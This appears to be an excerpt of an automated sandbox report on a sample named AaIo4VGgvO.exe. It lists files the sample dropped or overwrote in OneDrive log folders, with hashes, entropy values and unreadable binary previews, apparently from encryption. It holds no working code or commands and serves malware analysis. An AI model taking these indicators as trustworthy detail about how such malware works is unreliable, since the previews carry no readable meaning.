Preview:	EBFGO......,....a\k......Q.\|GJbC..r....?..).D.O..q...P..u..?...r?4W.[.GL..4...l../m..H....af'.axj..O`...."...Dwa.i.!..:..p...T..(....<..m..BV.2y...t...u..F..=..)..c..r.?...M[........#.\.g..b..P....x..s.$..V...xPX..#.15....(Q.u...).`F..A....;u..,...q.......yP.../.9R.........d....]...}>..2....3._.Q...n.L...9P.z.......A...o...B.o`.g......./...9.j.n.H....2..J.0...z$.+'%j...P....\.J.{.a...wvQ......e.....Xi..\A'..j.km.....[..?......I..9..&..9.P+.p....h..tp.f.....c..u.....].v..........N....a..~......Y;E.uK.-C.8t?...=.8..c....(L...c.#..WR^.w.B..#.6.bW...b..G..5.#..?:.......17n.3...~=...U.....#.t.e.=....x.b..I...9.9.w7.....h...@..W!.V3...z}G..E!m.O..k.. .\.Rf.....SC.....k.6...r+x.B....e1.P....s4..z\.~x./":.h..HJ.,6.l.:.j<d,....b.{.._.....y.......M....L..McP...O..4.....r..k1..f..Zb.c..;.+..{I2`.`.^.I..S.s.l.BR.b=`....s..}.!G....Y.*...)..4..W....).y=.h...(....K...v..\.g_.9PonR.>.........(7./C.o;..{........?...x..4'.............Z.n...... .HVj&R.dic

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7701548348240305
Encrypted:	false
SSDEEP:	96:bDy0K3c9bw4a80IZWBfmqhSisX63KsWr:bD70ct280IZWBOqd666sW
MD5:	9513F33426006A8B1865BF139E9F9CE5
SHA1:	DF85ECD6241B47C0257FA04DDD10C818E5C7FFF7
SHA-256:	D1E434A19B9D5E9C82F81FE1F3E8F0E35BF39BAE507559BBC24D8D83FE89BC0E
SHA-512:	204C15CAB335432E9EC195A06CA66EC67D3EC2D56152AFD096A89BEAD42439D8FF9F45AB3964008BC7CAB67DA0DF42C4EC1CFF9B24BD2477483EF1D62F8FD786
Malicious:	false
Preview:	EBFGO.%.b...>......E...T.L=..(.....Q.....q....R.&.]...<>;....V...../E1...m."2...\.....>nD.K.. e:g........i?...hN. x..<.N(.L.......<..ac.)./..(......YT..:..^...J...d6.Sa..h3..L.5..6...{=/4m..RD..4'.O3F.$O..._.OI~.9).[.....D$.$<..'.ztpWw2..vQGO..;...v.}..B....}G$c. .%0.W.Vl..`.............j...<lJ..a.......n.(..t=i._..9..\.Z..<.....9..N....r9.n.G...m<t....a.=.:..T6..k.v...A...C.)..m..X.+..<..h..._I.6.S.^..l.'.0._..l..\B{.....o5.Do.....c.W..T~..6.L%....3.a6.S.=t...b...l.\.WO.._..t.Mgn1.B...9.6..-.......:..x"z=.P7zd..fY/.@.p <\.G#..1...E.bS$...t..B7...a.e.61J.n.hq..B.......@.y....-;..a.-.?w..=..pX....f-.3..j.2.h../.P.n..;Y.........>.1.gY..zM..E..j.....g..d.vY.....B.,2.d.I..R.+..*.o. L..6..r..3d+y..%..RC....i........W.c.E.....H..-..Ot.urfp.H~....g.{z.''...f...E&(..u.v.A...!(......%'..4Y~.Dd&.H...r.W...-.@.C....hy-.0.d..:.~...+...{A....... .G......F....G....A..u-..h.w.........f.w..-..k).>P.k..BY.....n. V..4.t+..\|X..dfk..<Hni.w9...d~...u....v....

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.282873005042674
Encrypted:	false
SSDEEP:	6:iLD2Adv1lGhEbHgyQcgeLducG1I7E/pmhCAbiggaJDoWyc3cii96Z:CDndPXbngeZucyI7E/8Bip1+cii9a
MD5:	EA753DC85324ECD732F3EF64B0F54921
SHA1:	39334CE9C0C2BD20CCF035643797C5050E2C187D
SHA-256:	0E6FEC0385AAD9B7271F0B1EB41A46F9974F7E3D0F30C3BED62E4E636B5AF8A8
SHA-512:	405F0619A18512E62621432BDCE8A495F1612C64D7671B033FE9E08CFC9C281118684051C2134AEA79BD1DEC534B6085FFD12BD882A2C079E4784A9BFADDC767
Malicious:	false
Preview:	2..0,.1.g.g%>2..S.....Jq....k...k... .(B.qn..)~1UlE.\|.v.u...3D..^......\|.....s.H.U..@CE....C........E.)..T.c<...1I.+\J..Sk..@.YE..nmAPW...<.M.F_d)...CT.....'..Ws.b8.........i.....3.L.t...z$.,r..9G`....x.o......<.J0d..+...."..JQ.Q...?I.`..B[.....[.#.p.w.1SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.041915454576026
Encrypted:	false
SSDEEP:	96:/w30ucnhENyZ4sPyp8XhpRV39yFgf61cuozoqAhK20h2QczdX:/Duch8yGsqiXhpRVNXyCuqY0hP+
MD5:	E128D38C31924F3FCA58D58761C209E3
SHA1:	D268776C9657C681525579F823DEC6909F62B555
SHA-256:	0151AD0184A34BC09EDFCC1E6B5A5B5441EB52E58BA4FCB142AFD8EA7E405DC8
SHA-512:	17DE1B2190B1E93DBE2A1698F092896E94F845025C0502AF612F52956EC46D31A1701A5212422BFBA2706D0CFA1E17B1EE2A214C528A2B02EA2870F65F735C1C
Malicious:	false
Preview:	EBFGO6G.xY...!.{..~...g".2\|.x.Z.T&.N7......4.a~R.a....^.1...g...C.&=...]..J_N.....o..j.. ...c-.3.dF.n.\|..`=F....9q..b~.. .c.a...;..s.l.[..'.N......v.r.y..[O,.2..}.e....I2.<.....g.."..).".`%%='...c..z.G0`.[...TZF?.U6X..G..F.P.F.7..3h[....U..K............=.c..G...[....E....Mo...I .....3.....K..i...D.......]....A.(..%..=..MT..Nb.u.:t..E.H.w.....cNO.L..'...QJ:t.............q.k.=....C.A..c.....'k..A..^f....&?..d..u&...w9....?}..FF_Z....u...5Ez.E..YA..."..SCh..........T,mK...H)h.\...U/b.+P.d^...+....:0[L.mB.....[{...$L...a....C...T..Fk..{lr.:-..yqG.;'u".Y.^........y..&.2........~$....6._.TD.C.FQYR.5...J.9...1.#Dz..d...~..Gq.......s.0.i.8..:%j..t.v..a...7.....7>... .w..u\.;.R.L'pr(..,^A........B}...iy..Qz..T4....gJ......*...".t.MB.....Hn...wc..B..... (....0k..<....u..w.)....`.Z3';.hZ..QA..v.Y.8s\|..4.m.B....R.E.I$...X...S`.g.aX)6?!d.".G..s.v...T..)....r.)..f=...^...R..~.+..K.a.m...#N+;.P.$.ZB...q.......m G..........5.w......t..D.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2795234710754229
Encrypted:	false
SSDEEP:	96:2PQwlXliZcfndHgsNh8LKcaOzXwkfZYOB2sc/foESXPdYG51Y0PoR3oMsx2aBm+N:ZwDhfnOsNhI4y2Z/RSXfVIBEm+gE
MD5:	D4E0AEAE9C6B9B04ECBDEE03147273CF
SHA1:	3D81E81C6483AF050A0FFBAE9897A7C8AF238586
SHA-256:	7857F89B9C9CA3BB2951D8883F9C858475614C13C06B7CC26107F810B23A2EFB
SHA-512:	F39739695E887A317AA9E852F2697FDE547BE72623B244DB5D75477FEC54A1C05DFC15E1DCD926DDCED6DAEED66BB192864747F5C7E03E3320F7AB50F63ED9F6
Malicious:	false
Preview:	EBFGO..@x2R...b..[....AL..d..#...p^?..".]vY......./....>V.M?._g...\..`x...6.. ..!Q..@.\ J....6..s.L.>1..1{./\|...@.BP...$.=Ni..`...{.A.>...!...ih..'....i.7.h{.....1........#9........2U.AG....]h <f..f...6.Zb....\|.}..RX..4.N.LSz.;........G.........^..t.[. .`....:...?R.U...p..s}...[.v..6\.F...N..&8]..ok.6O..Q...i..x.;......wi.......D-..Ho......,......S......I.......}+..k...}{LLUl;......#.]D....0U.c.} .D.J....r)..{ypd..Q.RPK..8u.[...?o.R..Fe}G.......Lo.........b.,0(...q.>......,..%.~..ffCj.EU< .......0.8....)..D.........X..h...Lhu.....=.I.=..mkq.{r..9r....#.b....L.-....:.V..L.#...d.%..%....>.[8>..H...B..d..l.....uE.<.....O..C.+Q....OA../aE.....K)-hW..B.j.P.....Q.....B.1t.....l0.Xx.f.w:f.IVZ.}....&..?].pS'....m=!...U.....L.D.YR...a.?..i...W...)?<....(T....-q.S..{..y........M..^-J..vv....:.a.$...dN.L...\..&g.m....(......(..-wj]..r.*..Q..<w...3...(+..oS.1...N..% .b......b...J.5.D.:.tb.J...v....H...e...2.$e....`.u.F...U(U...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.896569434528227
Encrypted:	false
SSDEEP:	384:4nwixSZfR9maRObCjjK6exaMt/7GHUe4bWqQMUVxWW:wwnfOMwpt+Ue4vCxf
MD5:	58B6B18E962DA51B71B7DEAE6FE34BF1
SHA1:	2A3D97FF1C19027126702B89EB0BBF532ED68450
SHA-256:	8087B1046617686EDC7802970B5ED50D433846C1587006185591517D1851B800
SHA-512:	61B5B7D1FF9368CE6C7853A25FD312B6974445C22FB3DFEDB28C07500C634D9221957E70366F0D880576AF50CA9F0F7201ACFD4F8ECE3C06F86E5AF2DA31B8FA
Malicious:	false
Preview:	EBFGOY...&^..K..#.M..UeNY.5..W.<.....&-m...T..H..Q%.nv.LR5.M. ...C...HK..i...en.~Q#f..G...^..4.......v.e....j.....\...a+6.w=u.<....F..f.{-.^$..9d.!..wt.A$....{q..AD`a..w.j..P.hb._.L.}._.#..@..n$..}...k..".d{(~.%)..M...8-.B.2QD...0..^.B..m+..R.'..UX.c....R`...K..2t....Jv.(^E.........q.4.h..`.\'w.di...c{M..3m......#)...v.O(.}....O./.$y..W.V.J.<.{...0..o.....or.I.!{.$.f..)Akb..Z.=....u\|6.)S#......6..h4x.../....~.F..J....I........\|b&.'.......\..Ab."...kj%.$).]..M_...@...O&...EF!N.)...5..d.>..Y..C}..~d..N";..j.g..AT......y........[.O...Q...Vi..UJ..m?...f.@..9^\|H....e}Vn8..(o...Exi)..J'.F.W.oX.c'.....L..)..5B..wz/.....X..._.)..JS.<.^e.C...%.....{3...{M.O..\Z..1(x...s..`.......F..1R...r....4.N.......Y..t.K~...c.<.6l.).JCbv......-.A..B..xT./.l..E.$,..p.{.l. ... .w.i..i.@0gfa.0t..M..K.M..o.9.=.XN...:..@Z.K....j.{.`F.3.6%.....(.Y. ....n......v.X..........%0.`!.+..m@.^/Co@.............#Yn7.{un.....p..^;.....).....sh.}JG....,.....C.@......?

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0140616661485182
Encrypted:	false
SSDEEP:	96:3UAXsuCLY+Usl73nbjamaLY5yBAVWUVJyiMUjqBlMNLXI4HgT:kAXsu9+phemaLYbc0JyyqBlMNLXf
MD5:	A22DEC5416578F20F9306FAA7EEF50C0
SHA1:	DC551FEED6FD841867256BFB1838B6593B97FAB1
SHA-256:	EC0472F07C3F2654161A7AA0CC187D10AB6B22723B98C50E19CBC54B710AC219
SHA-512:	CBFE67197C268DE6AE333873A5686BEB7070981D1F07F6CEF3FF7B8EA37AF5B7C8A8AAF8DF65061065BE516786397E31C76521670852A88E35ED137345B31071
Malicious:	false
Preview:	EBFGO..l.Z=..6...=.PKm.U...v{F%.&.=.m[......_...u../P....#..T._....Y.\..0..CT...,u.....~.)y.[./....9,.]...F\...l....W.k[.W.. .2...{...6,..d.\........9T......M.v.r.....J..h....3..Y........)...a.$.T.t..\|..R...?.m(sr".q(..}..n_..K9.cQ .....6[x}.E......e+.....fi.Ak..x..X@........D Ue....R.m)>.MTIj.r..:R#,`e..e..u.V.....B..r.\8..~lY.......p...\|C<.VD..Q...f...;.0p..J.C,...\|..........iA./.h...$.F.2..$..zO.5.M]4.&G...XSIe...>.L.1..e._.G.^k.9(~..&.4_"#.r.c$.H.2.m....I...#..Q..p...;.<..[..d..........3..b..\..t?d...{......s.;(......u.S........D...tu>_.$l.....Y....X#.N%U.r.x?H.nM.)g.+..!.0R.g.*.3..&..T.x.2.0.Z%A1.....Q1......v..dV.....G...x..]y..... .i.U. ...";...>.X/.H..1.k\|J.0.Y.-.N,..`Hj5........#.V..!..k.~......G.M..J.......;.."f...Z`z.u_..S./....FT..:......1Gx.. .....$.(.W.:N2...`%0...a..Q....X..2.>.#.u......L..h..tl'....&Fz.'."...K.:0...xGGmw^.r&v:.3.gV...A7.V.Z..&.............Dun.p..Rt..t...5..NjQ\...Tz......Yj..Y}..U........+%..>..Y.+...Em...Q.,m....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20701227479860887
Encrypted:	false
SSDEEP:	24:G2SMZNBvnkIWkD/N96XWM9SNN0zve9pbz:G2ScnvnjPYkNuezz
MD5:	25C898D09F652FC2117648C72EB940C8
SHA1:	5EF4025274DE2E623474560F3FCC701F72CCBC78
SHA-256:	27B179EF401CFACDD637454F69A1B219E7CEFC65FD2970AA5B44AE75CB95DBF2
SHA-512:	DEE0295193F6581AC8ACF0F562B6C23D32B36C41223A088486F3D64BFD1D2C5B0238C8C4C297557A083A899CBBEC0E48C622FDA83CE3514362681736AF115004
Malicious:	false
Preview:	EBFGO.:...=..E.QWo7q..~.j..y...0b.l.;....p......z)m..e..z.Hrv......U..7A>..xit....&:..y......d..S.l.==......sZ#......S.v.i.>w0.......\yQ(..[.K..3I\..NM..~..<3....w3..Sw....&.i.y0....i.o..Na.WN....j..!u8.......2B.f..F9...X.{..7...S...B.!x...:..X.....S......hU..o"xN6.0).....$y......gH$.O......<...:.>v..[.E}..Zo$m...UD.m .......D.^+.A).e.^..s.k.@H./N.....8.@-H\|I.`..."....,.....Y.Hue.....,\|+..d..C.1.,.k>.g/..P...H..5...70.P r,%.!........$....x.[..t....e..Vrc.Qq.p..f9._....%....Q...1..P...].T.1...U.=k.%....oo...T.....y.....L.J...'pO.^.u...!...m87p.....4.[.,d..4..^\.8&<........>.H..!.W.;......>...4<...3(...Bo.H..B5W.\..c..vK..4....{j.L....\...X./.h.l.Lyv).;2...W..9.SW.....oYhH...}'...9..........ql.%..y....X...bt".'..gO\...r.M....~=..F+;A..o.O.o...........w...v..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.688030752760871
Encrypted:	false
SSDEEP:	768:feamUDeOVt50YTd9zoXyafYJNxxAi+VtIG2WlwgwGiTl:TeOf50YboXyazNf2WUG
MD5:	4C57AE647E02268139B67F9F2160305C
SHA1:	18FD30233ADE292468368218BDEB281E0EE1D5DD
SHA-256:	5F914A356239BBB0203A70515A63EAB1E03665EAAEF15924FB3B5EAAE265D25E
SHA-512:	B48987A8268FBBB4D3FD4D3F6BB98EB4F7B2D5572AC82EF00E3A3BC5803ED2FEBB0EB7BF1D13C2E5E4116540EFEF330BCE89ECC0CF777D34FBCE2611A75753BF
Malicious:	false
Preview:	EBFGO.^....U-'.\.@u1=...]\u.v...7..H....~.......eZ........6.....6.$_.~....u...c....1l..,".M....H...X%.s.QA..g..,C.T..9...K.)=.f.y..].]....A......V..-o..........8..@.W+.m....a3x...O6l+..e.........'`7....h.6".;-...+...2.D..}\g8.8I...N..A.i...m..U..oiq9..r.6..n.. .....re.`.[..Q.. .B......G.......&`.z.......I.....c.\|.F.{\.....Y}....5..J..J.n/I. 1K.< .=#.A.T....0...Fy.v@!ew...~.d......2.\|...iLm.x..M.iH..{r....<0..E...y.}......y..E.z.:KjRF......n.N...C.%.^N....<.;..Q/.h..1t8);..N...T.2k.}.........UpX.w.0..u........<..ZF^..G.mI.xEj..C,..K........(0cp(.4..@}3...{!s.9h.i...t..@W.s'?.s../...w.C.p..E....Y..c..l.Jc$..7.".).Z./.hL.....1.%...eg...b+y3.....L.D..........Ql.......-{)&o....8Y..IA}..S+.E".....e.-...BZ-,.1.;..O.r....S.!>..x"...!..~...UsXc..m....]...QK.....p.$R=...pF.c...#...b.O....I...I44..../.......6g...T/x.O...4`....C9......B&.......o.-...'.....c...`.OeW.f..w..Q...i.\|......-.Z.5,fj.....W.i.......v....m.~*...^........%......_..Q.F

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2705032782766106
Encrypted:	false
SSDEEP:	24:Guk6GUdCyz1JcjM6Ye5nyJSYPI3cs4SwO8Y88xvsmlm+ubz:GukGdz1JSM6nnaQMs4o8Y8oPluz
MD5:	E6EC3B664E08326BDA32CDB4CCCC98CC
SHA1:	534B8AF295A51EBE73CB07171994FFA9EDD06C31
SHA-256:	F8F0641FB00507DEEA045F1BE9ACC4BE534691D2DEA5C854F1F04AFC5B5B8176
SHA-512:	BBD4603D0DDF1A2D2C71813A45B72F8EC9602602B017052FB69DAE8C3E5BE11E15703DBFA422F95AECBCDFB568DA48CECF484268A1735CA1DC1E9FF39A029D0A
Malicious:	false
Preview:	EBFGO...X..GO....N]..aA..1.3}.b..a...v.5.!"..O..=6..Qqe.-.e.q:..pW....o..$...,..T&..$v.mq....E....\....vl.6.+.........rnSk...m....B.[T.N...UL.{...s.\...%0....x5_V.....O...+..;...?d.B...H.S)+h~[...f....N.7..G.c."..v.V.Gq...;vQ,.+..d.-. '.HN0.D.vyvF#.....b...+....?..O..^1...!.[.[0..u..x"..I.x.E0t.p..F.>...R9.B..FB.X..Ld..;5....P,tc..v.D.S"X....9h.U..yM..<;.g...JX..\$. ..>.%.8.f....W..g.s...C2..-.....V[..T.%c...R..Q...p...Go~.`.4..15.N.Pl..W.....P...Eb}....G+.....iOPk..".+...s#]c...0b...1.3..H.b.g...g.....[.........J2Y.m$w.....q...1.OB...B.......K..D.j(.L.=y..q..f..[..D._N.%)V...CM.u.k....2T.z P...8TY....]/......Y..a..^p4..t..qW...e.....O.."0n..v..8h.Z.&..\@...l...y.,,....m.....v.t.W^.?...@..j.+..v.u.D.].u.0W....j{..a.....X.lT.....G..+...Twx+q.+Yli..4!>.?C.....(.5.3.X...i.`F..........i....T.......sZ..}...Y.9..y.r..,......1pE.k...dG...7.O.6...qi:..}..!d.Y....tH._nk+.c.z\9."m...A.R...6. ..>...?Y....\.....w.P..6...gN..w..'.....M...6..O9.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.910587896067343
Encrypted:	false
SSDEEP:	3072:Ovs2J3GwE5EgpS69T8BHhC4UfZX+TbwhWfH+MsIp16:OvseGh9pt87Cx8bFhsIC
MD5:	E0354301BCA928A4ADF3854A2BDB6017
SHA1:	DEC7DD9B70FDDE8F79F914DAE4E2A947C23F6361
SHA-256:	26016CD36284BF96F19188A8E0B39F24A3774D674ACD958CD60AA9066A0CA7A6
SHA-512:	AF2302E05C30DEDE201954466F7D0B307ED3D1D60A0B6E31056AFEE9D49E05E3227F48CD056297689D4CAEE1C50D61BD333DBFB9BFB6E670EEFC4DBC717D4E6B
Malicious:	false
Preview:	1.0./.3.....H.ZO.L.....7.3g.#..wB.o...rf....I"......V..Dx.M...UC...m....W....".v.?.=.uB.......p.c.{....<.t...%{..9K...CI...FX.."z".O+j..K5....#.y.G.M...:..Z&...........'..@+0../.p.F.P.o..H.?!w..X..O_gbs.~.s.6.d:..."0.@,.?._$.b.y......&.]Mjh....J.w.o......(sQ..nw.....\|...W7.........l....d...~9.'.W.6.XG.).s..3=..`........X^..m..%....n.{ ...g2@~K...7..%-.r...>\|.\|9JMS..>..C...G.}.az.........U.1....&.T.3.u/&......~c..?.^}j...}#..7.....ty.j.....i..T....X.Q.}@.,....}@.#..*.Z+."\.G.U..p.b!..$.u.da-ob...l=....C.O...#Ln.dY.j.Y.4.=...Sps......H._.X\....\....9.} 0...s....~.Ht.t.,..-=S..n.b7.....bK<...DBU..I.)Q..i...."..o.....6.f..<9W..zc.!63o.<.'...0...r.#zc/&..9..-. ..`..6T%.M....EU.5T7by.B..4E.. .......2A......t...0x.L..d4.0. ...}S....z..%..X......6'...\..v...x.....?SE.cf.,....!A.C.j.33..X.... V..pX.M#b6.!.O;_..U..........t\|..r.}......>.x1....:..v.S..........y....'.a.....bU....aS...3.....F)iIg.(...]...D...[.....di.....@.1..,.zc(:

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.7929717120964765
Encrypted:	false
SSDEEP:	3072:jNGC4nI5ERevWs4rj13pxsE7Gp+X++7B/DEaFM344eXh//zutN:jNEIyevf4rj1Xsy9uPJe5
MD5:	88D257DBAA93F0634249B184CF8B2B1E
SHA1:	AF58FF6E41577BCBCFF677F983876FAD8276C71E
SHA-256:	1F73B346ED666A2FC414AA34A8DDE85B9202C472853C33DF9AA69D04C67A4884
SHA-512:	869252A877FAAC0E0409E7D08B8A2760648AFB62582743D0199DB2938C48A5A95B810EC1490E3A26EE01B0D11E8684A7FFF6C49D4EFDE4B1FF5D44809C7FF231
Malicious:	false
Preview:	1.0./3.T....B...{.5".H...X[>#.l.tZx.......{..<.b....p.Q..v...L..'Lb.+3/-.iY."... r..4..>!........Ok....9./0.~..~...[...>K2g3.n.B..N..>...O.V=w..Ot..B...$......eo.r.4x....X...[W...........x..@...a.s...!..c...F.Vh.,...h....F..e.t.pi.=.?.L.N..f$.......I.J....u.o[/9!.r4.q....K^.....<.I9T u...#..e....}\|...x...uh.(`J.;>.v.=D/..~.I..W......y.......?.....}^. X;..{......=.../.........K.?..5p>.M....t .V.c+....(...j"..3_q..n.a.Y..n ....xH.!.,\|L.mt..dR"...b..q...r6t.+..2....~....].$....9.h.....loW.(.i..<.H.....^..SH.+JML$.(...Ti[....3pf..^4.o;..y.odL..y...E~..7....*-K^p.(....%...h..m.....$2.~P..\|..Y-]$h.X..T@...WY..l.4.h.OoW..uYC}.).jRg.../...d=.L....f..._.=.P$.7..dV-Hd..m..,......e...^..-R&.;QS.......&...j`.1.l.]..G..^X.K..P$....w\....J.t.&..\\|....w...XMI..G...S...L..'0OUP.xJ...sS4...d.B......./=...?......z.a..e.3...+5.+..$..A.+...n.(c..n..].).....@...(.nx..z.;+CS..Y...."B.D.f..[.M.....F.....#XI&.=7..M....&.:...j(...M.. .....+[0..q....,..d

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.647365444969935
Encrypted:	false
SSDEEP:	1536:WfM+Tm2X/+iqUXfYTd29FasKlhw5Cboa5o0b0e3v6qjsG6u7eETrwgUQV:Wk+Zmw229Uwsboao0RfIAxXUQV
MD5:	57D09349DB04FC6BB210F969D59F853F
SHA1:	E32239668ED1DA1926DBE37255BC620062A585E1
SHA-256:	9A0248CFA7F886FCD13ACAC356D303C65BE82ACC68EC59EFF6A99FCD47C773DC
SHA-512:	87BEDE555D0E38FAD87B331B33EAE23E5F116444BAC34A7B8D2078C0CBBFC08738781B6FF514A4E9CC838B33E627CDF6A8011D4F39D5AAB2B52AC638877524E4
Malicious:	false
Preview:	1.0./....fR~%..d.r......?.N.A..7%....{. lPm..`"l....$....L.......>$..lZ..V.9.v.........K..=_....a.P..2F...b.hU...wn..k..h..5.?...&..GT.,.?......H..5_.-....52.......Vo.S...........w..I.....@7.il..^.......o-...@#.....\|..WR?.z...".G..U.(.....K./.....w.Z...e....kTY......J...s.'...o.%..]'c..."...4..q...bFr..?..%2C..=(m..T..%.D...7%...+./......C}....P....`DU...m.T..,..VUd.R.T.5...~c...Zh....0y....'....]+X....9.W..>.....1..4..Y.J.........$...s09... ...].....~.s.m>.,.I...N.E.j.fsb%t.{x..jd.......[..4...}....L.9..F5..t5..I I..Fu\.....BfC.tsiP.s\...Lc....8.r....N7...#....'.F.7.Xp.:Yq2......../.54.m.X....kBU.....Y..v.~...Oa).\|..+d.u....X.4.....v.EN..\.R..F>T".....\|.K.............:9..V..a....q..n...6@.....>.,..n......>..66cF..8.4..z.^.c..Sj..F.2.....x..,..PMA._B9.CA.m......B(..F..J...V^..5..E8..zF........h...QdOA,.>.......)....+.(....O-. .V..M.Su..a..k]\....=U..i.N.....z.......v...K.........h.0..x..:.L+.\|......../-)n..pg.N{..!..\A&.2x..5.z..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.993298266040191
Encrypted:	true
SSDEEP:	768:SzPIFU3eAs5Ao1XhQJV29OCdqiO8G89xY0tiNT6unVAVqHn9:SyGuA0Xhc29Lo0G8fiNTjnHHn9
MD5:	AB95EBF6945BFDB3FCC52B9D9CB2A4CC
SHA1:	86149AFCF632973F32457AB1B3D2EC002EF52FAD
SHA-256:	5706C31286B46DCE895EB3AFD50FF3C9162A34FC5CA1F414FCFFA0CF797F09E2
SHA-512:	C6B4047FF3B12EFBECB232E26FC7ED2E075590E9C22EF352074A63D0A82A872BAA3B218547395A01AAA2CCDF2B3B9354E65DA8A32758663E3A901B133E352579
Malicious:	true
Preview:	1.0./gs....8u%.J...y.m.R2...n......?.dS...7...y..:..Z..:....W.In(........#3..$....{`.p.I..........u......C...Y..f......]....s..........jKE.@.....X.....1a..qV....Nc.2....z..%x...tLz....;......K..l...Bjn.i...%...m.o.`.Axv{T..T. LI....W..[.........C..(...~.....}ag)..a.:2. .f.G...n.3........15a+.8\V.Z\..~......e.a..5..>#........k...-_.....j&......n.........%....7..9...@......u.J J.6.AE 1.o&..n...,. ...-...>..L.m.M.\!....H..dyG..D,.@.;&.Yg...5...1H....xa{:...mI\|.E.Lx...he{.'....BQ.y....4.8..:....t......K3../[G!..0.>."......U._u...0....L-....gD.......[./.aoy._..W0.~..v.7.y..@.......O.Kk."-.S.-.2....2_.xWD1...VQ[g.?0M...B.tHZ/....c..K.....s:..l.#..DA.f.J.v$...B..\|.....A.'..DQ.....5.6#e9..d..=f7..6x..O.m..5.B..\|..%7...0?L.[_.A=+...L..;..p..........f.....d.X.4_.RHo..k.y[!....g5[.Kx....$............R..+..0.A.5.>n.S=..........iTz.f...C.=.,G8.O.f....i...K>]...b.Q.... ..d... ....%.[.?n)....i..W.<v..c.$..0....E.J/.c...1...Jm.O..c.....y.&.8U

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.49767405621104
Encrypted:	false
SSDEEP:	768:JkfLe97eqEFI1v4SjFzYxlZC4BDKu50ro0:JkaVTESv4SB+ZC4J5x0
MD5:	EC050F238617EC354105414DCCE908A0
SHA1:	00A747938D696384C03169BA0A12A53322EFD27A
SHA-256:	2A65DAC92C3DEC39B1875D775D380DFC0AC4E0560D120420D5E1A9C39CB1D7EF
SHA-512:	DA7C3BB6302109975A38B16FD664F9191C0821F4FEC7E67A91B4BCE22335C801DCBDB9276AB1D53EDDF0B4B727C07C30D3B0EF1920A336A323CF0A42ADB6B015
Malicious:	false
